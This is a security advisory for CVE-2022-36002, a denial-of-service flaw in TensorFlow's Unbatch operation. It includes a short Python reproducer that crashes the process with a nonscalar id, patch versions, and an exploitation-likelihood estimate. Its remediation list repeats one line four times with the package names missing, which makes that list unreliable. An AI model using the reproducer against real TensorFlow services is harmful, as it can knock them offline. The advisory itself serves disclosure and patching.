CVE-2022-36002

Description

### Impact When `Unbatch` receives a nonscalar input `id`, it gives a `CHECK` fail that can trigger a denial of service attack. ```python import tensorflow as tf import numpy as np arg_0=tf.constant(value=np.random.random(size=(3, 3, 1)), dtype=tf.float64) arg_1=tf.constant(value=np.random.randint(0,100,size=(3, 3, 1)), dtype=tf.int64) arg_2=tf.constant(value=np.random.randint(0,100,size=(3, 3, 1)), dtype=tf.int64) arg_3=47 arg_4='' arg_5='' tf.raw_ops.Unbatch(batched_tensor=arg_0, batch_index=arg_1, id=arg_2, timeout_micros=arg_3, container=arg_4, shared_name=arg_5) ``` ### Patches We have patched the issue in GitHub commit [4419d10d576adefa36b0e0a9425d2569f7c0189f](https://github.com/tensorflow/tensorflow/commit/4419d10d576adefa36b0e0a9425d2569f7c0189f). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.

How to fix CVE-2022-36002

To remediate CVE-2022-36002, upgrade the affected package to a fixed version below.

• —upgrade to 2.7.2 or later
• —upgrade to 2.7.2 or later
• —upgrade to 2.7.2 or later
• —upgrade to 2.7.2 or later

Is CVE-2022-36002 being exploited?

Low — EPSS is 0.1%, meaning exploitation activity has not been observed at scale.